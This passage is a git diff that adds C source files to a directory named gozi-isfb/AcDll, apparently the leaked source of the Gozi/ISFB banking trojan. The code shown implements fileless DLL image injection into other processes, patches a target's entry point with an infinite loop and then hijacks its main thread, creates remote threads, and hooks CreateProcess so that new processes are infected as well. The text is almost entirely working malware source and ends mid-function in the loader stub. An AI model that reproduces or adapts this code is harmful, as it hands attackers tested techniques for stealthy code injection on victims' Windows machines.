+ pDataDir = PeSupGetDirectoryEntryPtr(Buffer, IMAGE_DIRECTORY_ENTRY_TLS);
+
+ if (!pDataDir->VirtualAddress || !pDataDir->Size)
+ break;
+
+ // Loading TLS directory
+ if (!ReadProcessMemory(hProcess, (ModuleBase + pDataDir->VirtualAddress), &TlsDir, sizeof(IMAGE_TLS_DIRECTORY), &bRead))
+ break;
+
+#ifdef _WIN64
+ if (Flags & INJECT_WOW64_TARGET)
+ AddressOfCallbacks = (ULONG_PTR)((PIMAGE_TLS_DIRECTORY32)&TlsDir)->AddressOfCallBacks;
+ else
+#endif
+ AddressOfCallbacks = (ULONG_PTR)TlsDir.AddressOfCallBacks;
+
+ // Checking if we have TLS callbacks table
+ if (!AddressOfCallbacks)
+ break;
+
+ // Loading TLS callbacks table
+ if (!ReadProcessMemory(hProcess, (PVOID)AddressOfCallbacks, Buffer, PAGE_SIZE, &bRead))
+ break;
+
+ // Checking if the table is not empty
+ if (TlsCallback = *(PULONG_PTR)Buffer)
+ // We have valid TLS callback pointer, this will be our effective entry point
+ ProcessEntry = TlsCallback;
+
+ } while(FALSE);
+
+ if (Buffer)
+ AppFree(Buffer);
+
+ return(ProcessEntry);
+}
+
+
+//
+// Resolves import and initializes the specified PROCESS_IMPORT structure.
+//
+static WINERROR InitProcessImport(
+ PPROCESS_IMPORT pImport
+ )
+{
+ WINERROR Status = NO_ERROR;
+
+ if (!g_DefaultImport.pLdrLoadDll || !g_DefaultImport.pLdrGetProcedureAddress || !g_DefaultImport.pNtProtectVirtualMemory)
+ {
+ Status = ERROR_PROC_NOT_FOUND;
+
+ do // not a loop
+ {
+ HMODULE hNtdll;
+
+ if (!(hNtdll = GetModuleHandleA(szNtdll)))
+ break;
+
+ if (!(g_DefaultImport.pLdrLoadDll = (ULONGLONG)PsSupGetRealFunctionAddress(hNtdll, szLdrLoadDll)))
+ break;
+
+ if (!(g_DefaultImport.pLdrGetProcedureAddress = (ULONGLONG)PsSupGetRealFunctionAddress(hNtdll, szLdrGetProcedureAddress)))
+ break;
+
+ if (!(g_DefaultImport.pNtProtectVirtualMemory = (ULONGLONG)PsSupGetRealFunctionAddress(hNtdll, szZwProtectVirtualMemory)))
+ break;
+
+ Status = NO_ERROR;
+ } while(FALSE);
+ } // f (!g_DefaultImport.pLdrLoadDll ||
+
+ if (Status == NO_ERROR)
+ memcpy(pImport, &g_DefaultImport, sizeof(PROCESS_IMPORT));
+
+ return(Status);
+}
+
+
+//
+// Resolves import and initializes the specified PROCESS_IMPORT structure.
+//
+static WINERROR InitProcessImportArch(
+ PPROCESS_IMPORT pImport,
+ HANDLE hProcess
+ )
+{
+ WINERROR Status = NO_ERROR;
+
+ if (!g_DefaultImportArch.pLdrLoadDll || !g_DefaultImportArch.pLdrGetProcedureAddress || !g_DefaultImportArch.pNtProtectVirtualMemory)
+ {
+ Status = ERROR_PROC_NOT_FOUND;
+
+ do // not a loop
+ {
+ if (!(g_DefaultImportArch.pLdrLoadDll = (ULONGLONG)PsSupGetProcessFunctionAddressArch(hProcess, szNtdll, szLdrLoadDll)))
+ break;
+
+ if (!(g_DefaultImportArch.pLdrGetProcedureAddress = (ULONGLONG)PsSupGetProcessFunctionAddressArch(hProcess, szNtdll, szLdrGetProcedureAddress)))
+ break;
+
+ if (!(g_DefaultImportArch.pNtProtectVirtualMemory = (ULONGLONG)PsSupGetProcessFunctionAddressArch(hProcess, szNtdll, szZwProtectVirtualMemory)))
+ break;
+
+ Status = NO_ERROR;
+ } while(FALSE);
+ } // f (!g_DefaultImportArch.pLdrLoadDll ||
+
+ if (Status == NO_ERROR)
+ memcpy(pImport, &g_DefaultImportArch, sizeof(PROCESS_IMPORT));
+
+ return(Status);
+}
+
+
+//
+// Injects current DLL image into the target process without creating a file.
+//
+WINERROR AdInjectImage(
+ LPPROCESS_INFORMATION lpProcessInformation, // Target process and it's main thread information
+ PAD_CONTEXT pAdContext, // pointer to AD_CONTEXT structure to inject image from
+ ULONG InjectFlags, // Inject control flags
+ PVOID* pImageBase // OPTIONAL: Receives BASE of the newly loaded image
+ )
+{
+ WINERROR Status = ERROR_UNSUCCESSFULL;
+ PIMAGE_DOS_HEADER Mz;
+ PIMAGE_NT_HEADERS Pe;
+ ULONG SizeOfImage, SizeOfSection;
+ PCHAR pTargetModule, SectionBase = NULL, RemoteBase = NULL;
+ HANDLE hSection = 0;
+ PLOADER_CONTEXT pLdrCtx, pRemoteCtx;
+ PCHAR pLoaderStub = (PCHAR)&LoadDllStub;
+
+#ifdef _M_AMD64
+ if (InjectFlags & INJECT_WOW64_TARGET)
+ {
+ pLoaderStub = (PCHAR)&LoadDllStubArch;
+ pTargetModule = (PCHAR)pAdContext->pModule32;
+ }
+ else
+ pTargetModule = (PCHAR)pAdContext->pModule64;
+#else
+ if (!(InjectFlags & INJECT_WOW64_TARGET) && (g_CurrentProcessFlags & GF_WOW64_PROCESS))
+ {
+ pLoaderStub = (PCHAR)&LoadDllStubArch;
+ pTargetModule = (PCHAR)pAdContext->pModule64;
+ }
+ else
+ pTargetModule = (PCHAR)pAdContext->pModule32;
+#endif
+
+ do // not a loop
+ {
+ if (!pTargetModule)
+ {
+ DbgPrint("ACTIVDLL_%04x: No module found for the target process (%u) architecture\n", g_CurrentProcessId, lpProcessInformation->dwProcessId);
+ Status = ERROR_FILE_NOT_FOUND;
+ break;
+ } // if (!pTargetModule)
+
+ Mz = (PIMAGE_DOS_HEADER)pTargetModule;
+ Pe = (PIMAGE_NT_HEADERS)((PCHAR)Mz + Mz->e_lfanew);
+
+ SizeOfImage = _ALIGN(PeSupGetOptionalField(Pe, SizeOfImage), PAGE_SIZE);
+ SizeOfSection = SizeOfImage + sizeof(LOADER_CONTEXT) + pAdContext->Module32Size + pAdContext->Module64Size;
+
+ // Creating a section for the image and mapping it into the current process
+ if ((Status = ImgAllocateSection(SizeOfSection, &SectionBase, &hSection)) != NO_ERROR)
+ {
+ DbgPrint("ACTIVDLL_%04x: Unable to allocate a section of %u bytes, error %u\n", g_CurrentProcessId, SizeOfSection, Status);
+ break;
+ }
+
+ // Mapping the section into the target process
+ if ((Status = ImgMapSection(hSection, lpProcessInformation->hProcess, &RemoteBase)) != NO_ERROR)
+ {
+ DbgPrint("ACTIVDLL_%04x: Unable to map the section into the target process, error %u\n", g_CurrentProcessId, Status);
+ break;
+ }
+
+ // Building the target image within the section
+ if ((Status = AcBuildImage(SectionBase, pTargetModule, RemoteBase)) != NO_ERROR)
+ {
+ DbgPrint("ACTIVDLL_%04x: Failed buildig the target image, error %u\n", g_CurrentProcessId, Status);
+ break;
+ }
+
+ // Copying PE-modules into the section
+ memcpy(SectionBase + SizeOfImage + sizeof(LOADER_CONTEXT), (PCHAR)pAdContext->pModule32, pAdContext->Module32Size);
+ memcpy(SectionBase + SizeOfImage + sizeof(LOADER_CONTEXT) + pAdContext->Module32Size, (PCHAR)pAdContext->pModule64, pAdContext->Module64Size);
+
+ // Initializing loader context
+ pLdrCtx = (PLOADER_CONTEXT)(SectionBase + SizeOfImage);
+ pLdrCtx->ImageBase = (ULONGLONG)RemoteBase;
+
+ // Initializing ADContext within the loader context
+ pLdrCtx->AdContext.pModule32 = (ULONGLONG)(RemoteBase + SizeOfImage + sizeof(LOADER_CONTEXT));
+ pLdrCtx->AdContext.pModule64 = (ULONGLONG)(RemoteBase + SizeOfImage + sizeof(LOADER_CONTEXT) + pAdContext->Module32Size);
+ pLdrCtx->AdContext.Module32Size = pAdContext->Module32Size;
+ pLdrCtx->AdContext.Module64Size = pAdContext->Module64Size;
+
+ // Initializing loader context import
+
+#ifdef _M_AMD64
+ if (InjectFlags & INJECT_WOW64_TARGET)
+#else
+ if (!(InjectFlags & INJECT_WOW64_TARGET) && (g_CurrentProcessFlags & GF_WOW64_PROCESS))
+#endif
+ Status = InitProcessImportArch(&pLdrCtx->Import, lpProcessInformation->hProcess);
+ else
+ Status = InitProcessImport(&pLdrCtx->Import);
+
+ if (Status != NO_ERROR)
+ {
+ DbgPrint("ACTIVDLL_%04x: Unable to resolve target process import, error %u\n", g_CurrentProcessId, Status);
+ break;
+ }
+
+#if _DEBUG
+ // Some function addresses in DEBUG build could be addresses of JMPs to real functions.
+ // Calculating real stub address here.
+ if (*(PUCHAR)pLoaderStub == OP_JMP_NEAR)
+ pLoaderStub = (PVOID)((ULONG_PTR)pLoaderStub + *(PULONG)((PCHAR)pLoaderStub + sizeof(UCHAR)) + 5);
+#endif
+
+ memcpy(&pLdrCtx->LoaderStub, pLoaderStub, LOADER_STUB_MAX);
+ pRemoteCtx = (PLOADER_CONTEXT)(RemoteBase + SizeOfImage);
+
+ // Executing loader stub function within the target process
+ Status = PsSupExecuteRemoteFunction(lpProcessInformation, &pRemoteCtx->LoaderStub, pRemoteCtx, InjectFlags);
+
+ if ((Status == NO_ERROR) && pImageBase)
+ *pImageBase = RemoteBase;
+
+ } while(FALSE);
+
+ if (SectionBase)
+ ImgUnmapSection(NtCurrentProcess(), SectionBase);
+
+ if (hSection)
+ CloseHandle(hSection);
+
+ return(Status);
+}
+
+
+#ifndef _WIN64
+// WOW64-only functions
+
+
+///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+// Writes specified amount of bytes from the specified buffer into spesified processes memory.
+// Sets PAGE_READWRITE attributes before writing and restores original after it's done.
+//
+static BOOL Wow64PatchProcessMemory64(
+ HANDLE hProcess,
+ ULONGLONG Address,
+ PCHAR Patch,
+ ULONG Bytes
+ )
+{
+ BOOL Ret = FALSE;
+ NTSTATUS ntStatus;
+
+ ULONGLONG bWritten, OldProtect, ProtAddress = Address, ProtBytes = Bytes, WriteBytes = Bytes;
+ ULONGLONG pZwProtectVirtualMemory = PsSupGetProcessFunctionAddressArch(GetCurrentProcess(), szNtdll, szZwProtectVirtualMemory);
+ ULONGLONG pZwWriteVirtualMemory = PsSupGetProcessFunctionAddressArch(GetCurrentProcess(), szNtdll, szZwWriteVirtualMemory);
+
+ if (pZwProtectVirtualMemory && pZwWriteVirtualMemory)
+ {
+ ntStatus = Wow64NativeCall(pZwProtectVirtualMemory, 5, (ULONG64)hProcess, (ULONG64)&ProtAddress, (ULONG64)&ProtBytes, (ULONG64)PAGE_READWRITE, (ULONG64)&OldProtect);
+ if (NT_SUCCESS(ntStatus))
+ {
+ ntStatus = Wow64NativeCall(pZwWriteVirtualMemory, 5, (ULONG64)hProcess, (ULONG64)Address, (ULONG64)Patch, (ULONG64)Bytes, (ULONG64)&bWritten);
+ if (NT_SUCCESS(ntStatus))
+ Ret = TRUE;
+ Wow64NativeCall(pZwProtectVirtualMemory, 5, (ULONG64)hProcess, (ULONG64)&ProtAddress, (ULONG64)&ProtBytes, (ULONG64)OldProtect, (ULONG64)&OldProtect);
+ }
+ }
+ return(Ret);
+}
+
+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+// Returns specified process effective entry point address. I.e address where the process starts to execute.
+// This can be either an address of entry point of the main process image or an address of first image TLS callback if any.
+//
+static NTSTATUS Wow64GetProcessEntry64(HANDLE hProcess, ULONGLONG* pProcessEntry)
+{
+ ULONGLONG ModuleBase, TlsCallback, ProcessEntry = 0;
+ NTSTATUS ntStatus = STATUS_INSUFFICIENT_RESOURCES;
+ PCHAR Buffer;
+ SIZE_T bRead;
+ PIMAGE_DATA_DIRECTORY pDataDir;
+ IMAGE_TLS_DIRECTORY TlsDir;
+
+ do
+ {
+ if (!(Buffer = AppAlloc(PAGE_SIZE)))
+ // Not enough memory
+ break;
+
+ ntStatus = PsSupGetProcessMainImageBaseArch(hProcess, &ModuleBase);
+ if (!NT_SUCCESS(ntStatus))
+ break;
+
+ if (!PsSupReadProcessMemoryArch(hProcess, ModuleBase, Buffer, PAGE_SIZE, &bRead))
+ break;
+
+ if (!PsSupReadProcessMemoryArch(hProcess, ModuleBase + ((PIMAGE_DOS_HEADER)Buffer)->e_lfanew, Buffer, PAGE_SIZE, &bRead))
+ break;
+
+ ProcessEntry = ModuleBase + PeSupGetOptionalField(Buffer, AddressOfEntryPoint);
+
+ pDataDir = PeSupGetDirectoryEntryPtr(Buffer, IMAGE_DIRECTORY_ENTRY_TLS);
+
+ if (!pDataDir->VirtualAddress || !pDataDir->Size)
+ break;
+
+ if (!PsSupReadProcessMemoryArch(hProcess, (ModuleBase + pDataDir->VirtualAddress), &TlsDir, sizeof(IMAGE_TLS_DIRECTORY), &bRead))
+ break;
+
+ if (!TlsDir.AddressOfCallBacks)
+ break;
+
+ // Image has TLS callbacks
+ if (!PsSupReadProcessMemoryArch(hProcess, (ULONGLONG)(ULONG_PTR)TlsDir.AddressOfCallBacks, Buffer, PAGE_SIZE, &bRead))
+ break;
+
+ if (TlsCallback = *(ULONGLONG*)Buffer)
+ ProcessEntry = TlsCallback;
+
+ } while(FALSE);
+
+ *pProcessEntry = ProcessEntry;
+
+ if (Buffer)
+ AppFree(Buffer);
+
+ return(ntStatus);
+}
+
+
+//
+// Injects a 64-bit native DLL into a 64-bit native process from a WOW64 process.
+//
+static WINERROR Wow64ProcessInjectDll64(
+ LPPROCESS_INFORMATION lpProcessInformation,
+ LPTSTR DllPath,
+ BOOL bInjectImage
+ )
+{
+ WINERROR Status = ERROR_UNSUCCESSFULL;
+ ULONG Orig, Patch = 0xCCCCFEEB;
+ CONTEXT64 Ctx64 = {0};
+ ULONG_PTR bRead;
+ ULONGLONG Oep;
+ PPSSUP_NATIVE_POINTERS Wow64CallPointers = PsSupResolveNativePointers();
+
+ Ctx64.ContextFlags = _CONTEXT_AMD64 | _CONTEXT_CONTROL | _CONTEXT_INTEGER;
+
+ if (NT_SUCCESS(Wow64GetProcessEntry64(lpProcessInformation->hProcess, &Oep)))
+ {
+ // Saving original OEP bytes
+ if (PsSupReadProcessMemoryArch(lpProcessInformation->hProcess, Oep, &Orig, sizeof(ULONG), &bRead) && bRead == sizeof(ULONG))
+ {
+ // Writing infinitive loop to OEP
+ if (Wow64PatchProcessMemory64(lpProcessInformation->hProcess, Oep, (PCHAR)&Patch, sizeof(ULONG)))
+ {
+ LONG Count = PROCESS_WAIT_TIME;
+ // Waiting for a main thread to initialize
+ do
+ {
+ ResumeThread(lpProcessInformation->hThread);
+ Sleep(PROCESS_CHECK_TIME);
+ SuspendThread(lpProcessInformation->hThread);
+ Count -= PROCESS_CHECK_TIME;
+
+ if (!NT_SUCCESS(Wow64NativeCall(Wow64CallPointers->pZwGetContextThread, 2, (ULONG64)lpProcessInformation->hThread, (ULONG64)&Ctx64)))
+ ASSERT(FALSE);
+
+ } while((Count > 0) && (Ctx64.Rip != Oep));
+
+ ASSERT(Ctx64.Rip == Oep);
+
+ // The main thread seems to be initialized, injecting the dll into the process
+ if (bInjectImage)
+ Status = AdInjectImage(lpProcessInformation, &g_CurrentAdContext, 0, NULL);
+ else
+ Status = PsSupWow64InjectDll64(lpProcessInformation, DllPath);
+
+ // Restoring OEP bytes
+ Wow64PatchProcessMemory64(lpProcessInformation->hProcess, Oep, (PCHAR)&Orig, sizeof(ULONG));
+ } // if (Wow64PatchProcessMemory64(
+ } // if (PsSupReadProcessMemoryArch(
+ } // if (NT_SUCCESS(Wow64GetProcessEntry64(lpProcessInformation->hProcess, &Oep)))
+
+ return(Status);
+}
+
+#endif // #ifndef _WIN64
+
+
+//
+// Injects current DLL into the process described by lpProcessInformation structure.
+// We cannot just inject a DLL into the newly-creted process with main thread suspended. This is because the main thread
+// suspends BEFORE the process initializes. Injecting a DLL will fail within LoadLibrary function.
+// So we have to make sure the process is completely initialized. To do that we put an infinitive loop into the processes OEP.
+// Then we resume the main thread and wait until it reaches OEP. There we inject a DLL, restore the OEP and resume the main thread.
+//
+WINERROR ProcessInjectDll(
+ LPPROCESS_INFORMATION lpProcessInformation, // Target process and it's main thread information
+ DWORD ProcessCreateFlags, // Process creation flags
+ ULONG_PTR ProcessEntry, // Current process entry
+ BOOL bInjectImage // specify TRUE if the DLL should be injected as image (without a file)
+ )
+{
+ WINERROR Status = ERROR_UNSUCCESSFULL;
+ CONTEXT Ctx = {0};
+ ULONG_PTR bRead, Oep = 0;
+ ULONG Orig, Patch = 0xCCCCFEEB;
+ HANDLE hProcess = lpProcessInformation->hProcess;
+ ULONG InjectFlags = 0;
+ LPTSTR ArchPath = NULL, DllPath = g_CurrentModulePath;
+
+
+ if (PsSupIsWow64Process(lpProcessInformation->dwProcessId, 0))
+ InjectFlags = INJECT_WOW64_TARGET;
+
+#ifndef _WIN64
+ // Checking if we trying to inject a DLL from a WOW64 process into a native one
+ if (!(InjectFlags & INJECT_WOW64_TARGET) && (g_CurrentProcessFlags & GF_WOW64_PROCESS))
+ {
+ if (bInjectImage || (ArchPath = PsSupNameChangeArch(g_CurrentModulePath)))
+ Status = Wow64ProcessInjectDll64(lpProcessInformation, ArchPath, bInjectImage);
+ }
+ else
+#endif
+ {
+ // Injecting DLL into the target process of the same architecture as current,
+ // or into the WOW64 process from the 64-bit process
+ Ctx.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER;
+
+ if (!(Oep = ProcessEntry))
+ Oep = GetProcessEntry(lpProcessInformation->hProcess, InjectFlags);
+
+ // Saving original OEP bytes
+ if (ReadProcessMemory(hProcess, (PVOID)Oep, &Orig, sizeof(ULONG), &bRead) && bRead == sizeof(ULONG))
+ {
+ // Writing infinitive loop to OEP
+ if (PatchProcessMemory(hProcess, (PVOID)Oep, (PCHAR)&Patch, sizeof(ULONG)))
+ {
+ LONG Count = PROCESS_WAIT_TIME;
+ Status = NO_ERROR;
+
+ // Waiting for a main thread to initialize
+ do
+ {
+ ResumeThread(lpProcessInformation->hThread);
+ Sleep(PROCESS_CHECK_TIME);
+ SuspendThread(lpProcessInformation->hThread);
+ Count -= PROCESS_CHECK_TIME;
+ if (!GetThreadContext(lpProcessInformation->hThread, &Ctx))
+ {
+ // Looks like the target process died while being initialized
+ Status = ERROR_UNSUCCESSFULL;
+ break;
+ }
+
+#ifdef _WIN64
+ } while((Count > 0) && (Ctx.Rip != Oep));
+
+ if (Status == NO_ERROR)
+ {
+ ASSERT(Ctx.Rip == Oep);
+
+ if ((InjectFlags & INJECT_WOW64_TARGET) && (ArchPath = PsSupNameChangeArch(DllPath)))
+ DllPath = ArchPath;
+
+#else
+ } while((Count > 0) && (Ctx.Eip != Oep));
+
+ if (Status == NO_ERROR)
+ {
+ ASSERT(Ctx.Eip == Oep);
+#endif
+ // The main thread seems to be initialized, injecting the dll into the process
+ if (bInjectImage)
+ Status = AdInjectImage(lpProcessInformation, &g_CurrentAdContext, InjectFlags, NULL);
+ else
+ Status = PsSupInjectDllWithStub(lpProcessInformation, DllPath, InjectFlags);
+
+ PatchProcessMemory(hProcess, (PVOID)Oep, (PCHAR)&Orig, sizeof(ULONG));
+ } // if (Status == NO_ERROR)
+ } // if (PatchProcessMemory(
+ } // if (ReadProcessMemory(
+ } // else
+
+ if (Status == ERROR_UNSUCCESSFULL)
+ Status = GetLastError();
+
+ if (!(ProcessCreateFlags & CREATE_SUSPENDED))
+ ResumeThread(lpProcessInformation->hThread);
+
+ if (ArchPath)
+ AppFree(ArchPath);
+
+ if (Status != NO_ERROR)
+ {
+ DbgPrint("ActiveDll: Failed to Inject a DLL, error: %u\n", Status);
+ }
+
+ return(Status);
+}
+
+
+//
+// Creates remote thread within the specified process and injects client.dll into it using this thread.
+//
+WINERROR ProcessInjectDllWithThread(
+ ULONG Pid
+ )
+{
+ WINERROR Status = ERROR_INVALID_FUNCTION;
+ PROCESS_INFORMATION Pi;
+
+ Pi.dwProcessId = Pid;
+ Pi.hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION |
+ PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, Pid);
+
+ if (Pi.hProcess)
+ {
+ BOOL Wow64Target = PsSupIsWow64Process(0, Pi.hProcess);
+
+ if (
+#ifdef _M_AMD64
+ (!Wow64Target)
+#else
+ !(g_CurrentProcessFlags & GF_WOW64_PROCESS) || Wow64Target
+#endif
+ )
+ {
+ LPTHREAD_START_ROUTINE pExitThread =
+ (LPTHREAD_START_ROUTINE)PsSupGetRealFunctionAddress(GetModuleHandleA(szNtdll), szExitThread);
+
+ if (pExitThread)
+ {
+ if (Pi.hThread = CreateRemoteThread(Pi.hProcess, NULL, 0, pExitThread, NULL, CREATE_SUSPENDED, &Pi.dwThreadId))
+ {
+ Status = ProcessInjectDll(&Pi, 0, (ULONG_PTR)pExitThread, _INJECT_AS_IMAGE);
+ CloseHandle(Pi.hThread);
+ }
+ else
+ Status = GetLastError();
+ } // if (pExitThread)
+ else
+ Status = ERROR_NOT_FOUND;
+ }
+ else
+ Status = ERROR_INVALID_FUNCTION;
+
+ CloseHandle(Pi.hProcess);
+ } // if (Pi.hProcess)
+ else
+ Status = GetLastError();
+
+ return(Status);
+}
+
+
+
+//
+// Sets Active DLL hooks. Currently CreateProcessA and CreateProcessW hooks are set.
+// Hooking kernel32 export first, and, then enumerating all loaded modules and hooking their IATs.
+// If the function succeeds, the return value is NO_ERROR.
+// If the function fails, the return value is a nonzero error code defined in Winerror.h.
+//
+static INT ActiveDllSetHooks(VOID)
+{
+ INT Status = NO_ERROR;
+ LONG NumberHooks;
+ PHOOK_DESCRIPTOR ExportHooks;
+ PHOOK_DESCRIPTOR IatHooks;
+ HMODULE Advapi32 = GetModuleHandleA(szAdvapi32);
+
+ CHAR SystemMajor = LOBYTE(LOWORD(g_SystemVersion));
+ CHAR SystemMinor = HIBYTE(LOWORD(g_SystemVersion));
+
+ if (SystemMajor > 6 || (SystemMajor == 6 && SystemMinor > 0))
+ {
+ // Windows 7 and higher
+ ExportHooks = (PHOOK_DESCRIPTOR)&ProcExportHooksEx;
+ IatHooks = (PHOOK_DESCRIPTOR)&ProcIatHooksEx;
+ NumberHooks = sizeof(ProcExportHooksEx) / sizeof(HOOK_DESCRIPTOR);
+ }
+ else
+ {
+ // Windows Vista and lower
+ ExportHooks = (PHOOK_DESCRIPTOR)&ProcExportHooks;
+ IatHooks = (PHOOK_DESCRIPTOR)&ProcIatHooks;
+ NumberHooks = sizeof(ProcExportHooks) / sizeof(HOOK_DESCRIPTOR);
+ }
+
+ if ((Status = SetMultipleHooks(ExportHooks, NumberHooks, NULL)) == NO_ERROR)
+ {
+ HMODULE* ModArray = NULL;
+ ULONG ModCount = 0;
+
+ if ((Status = PsSupGetProcessModules(GetCurrentProcess(), &ModArray, &ModCount)) == NO_ERROR)
+ {
+ ULONG i;
+ ULONG NumberIatHooks = (sizeof(ProcIatHooks) / sizeof(HOOK_DESCRIPTOR));
+
+ for (i=0;ie_lfanew);
+ PIMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(Pe);
+ PIMAGE_DATA_DIRECTORY DataDir;
+
+ NumberSections = Pe->FileHeader.NumberOfSections;
+ FileAlign = PeSupGetOptionalField(Pe, FileAlignment);
+
+ // Copying the file headers
+ memcpy(ImageBase, ImageFile, PeSupGetOptionalField(Pe, SizeOfHeaders));
+
+ // Copying image sections
+ for(i=0; iSizeOfRawData, FileAlign);
+ if (bSize)
+ memcpy(ImageBase + Section->VirtualAddress, ImageFile + Section->PointerToRawData, bSize);
+ Section += 1;
+ }
+
+ if (!NewBase)
+ NewBase = ImageBase;
+
+ // Processing relocs
+ DataDir = PeSupGetDirectoryEntryPtr(Pe, IMAGE_DIRECTORY_ENTRY_BASERELOC);
+ if (DataDir->VirtualAddress && (RelocSize = DataDir->Size))
+ {
+ ULONG_PTR BaseDelta = ((ULONG_PTR)NewBase - (ULONG_PTR)PeSupGetOptionalField(Pe, ImageBase));
+ ULONGLONG BaseDelta64 = (ULONGLONG)NewBase - ((PIMAGE_NT_HEADERS64)Pe)->OptionalHeader.ImageBase;
+ PIMAGE_BASE_RELOCATION_EX Reloc = (PIMAGE_BASE_RELOCATION_EX)(ImageBase + DataDir->VirtualAddress);
+
+ while(RelocSize > sizeof(IMAGE_BASE_RELOCATION))
+ {
+ ULONG NumberRelocs = (Reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
+ PCHAR PageVa = ImageBase + Reloc->VirtualAddress;
+
+ if (RelocSize >= (LONG)Reloc->SizeOfBlock)
+ {
+ for (i=0; iTypeOffset[i] >> IMAGE_REL_BASED_SHIFT);
+
+ switch(RelocType)
+ {
+ case IMAGE_REL_BASED_ABSOLUTE:
+ // Do nothing. This one is used just for alingment.
+ break;
+ case IMAGE_REL_BASED_HIGHLOW:
+ *(PULONG)(PageVa + (Reloc->TypeOffset[i] & IMAGE_REL_BASED_MASK)) += (ULONG)BaseDelta;
+ break;
+ case IMAGE_REL_BASED_DIR64:
+ *(PULONG64)(PageVa + (Reloc->TypeOffset[i] & IMAGE_REL_BASED_MASK)) += BaseDelta64;
+ break;
+ default:
+ ASSERT(FALSE);
+ break;
+ } // switch(RelocType)
+ } // for (i=0; i= (LONG)Reloc->SizeOfBlock)
+ RelocSize -= (LONG)Reloc->SizeOfBlock;
+ Reloc = (PIMAGE_BASE_RELOCATION_EX)((PCHAR)Reloc + Reloc->SizeOfBlock);
+ } // while(RelocSize > IMAGE_SIZEOF_BASE_RELOCATION)
+ } // if (!ImageAtBase && DataDir->VirtualAddress && (RelocSize = DataDir->Size)
+
+ return(Status);
+}
diff --git a/windows/gozi-isfb/AcDll/stubs.c b/windows/gozi-isfb/AcDll/stubs.c
new file mode 100644
index 0000000..743e05f
--- /dev/null
+++ b/windows/gozi-isfb/AcDll/stubs.c
@@ -0,0 +1,285 @@
+//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
+// AcDLL project. Version 1.5
+//
+// module: stubs.c
+// $Revision: 11 $
+// $Date: 2012-12-10 18:55:25 +0400 (Пн, 10 дек 2012) $
+// description:
+// Contains stubs being injected into the target process to initialize the image and execute it's entry.
+
+#include "..\common\common.h"
+#include "activdll.h"
+
+//
+// Initializes mapped image of a DLL: processes import, restores section protection. Executes image entry.
+//
+VOID _stdcall LoadDllStub(
+ PLOADER_CONTEXT LdrCtx
+ )
+{
+ HANDLE hModule;
+ PCHAR ImageBase;
+ BOOL Result;
+
+ if (ImageBase = (PCHAR)LdrCtx->ImageBase)
+ {
+ NTSTATUS ntStatus = STATUS_SUCCESS;
+ FUNC_DLL_MAIN pDllMain;
+
+ // Initializing DLL image
+ PIMAGE_NT_HEADERS Pe = (PIMAGE_NT_HEADERS)(ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew);
+ PIMAGE_SECTION_HEADER Section = IMAGE_FIRST_SECTION(Pe);
+ ULONG i, OldProtect, NumberSections = Pe->FileHeader.NumberOfSections;
+
+ // Resolving module import
+ ULONG ImportStartRVA;
+ PCHAR ModuleName;
+ PVOID ImportedModuleBase = NULL;
+ PIAT_ENTRY pIatEntry = NULL;
+ PIMAGE_IMPORT_DESCRIPTOR pImportDesc;
+
+ // Get the import table RVA from the data dir
+ if (ImportStartRVA = Pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
+ {
+ pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(ImageBase + ImportStartRVA);
+
+ // Find the import descriptor containing references to callee's functions
+ for (; pImportDesc->Name; pImportDesc++)
+ {
+ ULONG NameLen = 0;
+ ModuleName = ImageBase + pImportDesc->Name;
+
+ while(ModuleName[NameLen])
+ {
+ LdrCtx->wDllPath[NameLen] = (WCHAR)ModuleName[NameLen];
+ NameLen += 1;
+ }
+ LdrCtx->uDllPath.Length = (USHORT)(NameLen*sizeof(WCHAR));
+ LdrCtx->uDllPath.MaximumLength = (USHORT)((NameLen+1)*sizeof(WCHAR));
+ LdrCtx->uDllPath.Buffer = (PWSTR)&LdrCtx->wDllPath;
+
+ ntStatus = ((FUNC_LOAD_LIBRARY)LdrCtx->Import.pLdrLoadDll)(NULL, 0, &LdrCtx->uDllPath, &ImportedModuleBase);
+ if (NT_SUCCESS(ntStatus))
+ {
+ ULONG rvaINT = pImportDesc->OriginalFirstThunk;
+ ULONG rvaIAT = pImportDesc->FirstThunk;
+ PIAT_ENTRY pIatEntry = NULL;
+ PIMAGE_IMPORT_BY_NAME pOrdinalName;
+ PIMAGE_THUNK_DATA pINT;
+ PIMAGE_THUNK_DATA pIAT;
+ IAT_ENTRY IatEntry;
+ USHORT Ordinal = 0;
+
+ if ( rvaINT == 0 ) // No Characteristics field?
+ rvaINT = rvaIAT;
+
+ if ( rvaINT != 0 ) // No FirstThunk field? Ooops!!!
+ {
+ // Adjust the pointer to point where the tables are in the mem mapped file.
+ pINT = (PIMAGE_THUNK_DATA)(ImageBase + rvaINT);
+ pIAT = (PIMAGE_THUNK_DATA)(ImageBase + rvaIAT);
+
+ while (TRUE) // Loop forever (or until we break out)
+ {
+ if (pINT->u1.AddressOfData == 0)
+ break;
+
+ if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal) == FALSE)
+ pOrdinalName = (PIMAGE_IMPORT_BY_NAME)(ImageBase + (ULONG)pINT->u1.AddressOfData);
+ else if (pINT->u1.Ordinal >= (ULONG_PTR)ImageBase && pINT->u1.Ordinal < ((ULONG_PTR)ImageBase + Pe->OptionalHeader.SizeOfImage))
+ pOrdinalName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)pINT->u1.AddressOfData);
+ else
+ {
+ pOrdinalName = NULL;
+ Ordinal = (USHORT)IMAGE_ORDINAL(pINT->u1.Ordinal);
+ }
+
+ if (pOrdinalName)
+ {
+ NameLen = 0;
+ while(pOrdinalName->Name[NameLen])
+ NameLen += 1;
+
+ LdrCtx->uDllPath.Length = (USHORT)NameLen;
+ LdrCtx->uDllPath.MaximumLength = (USHORT)(NameLen + 1);
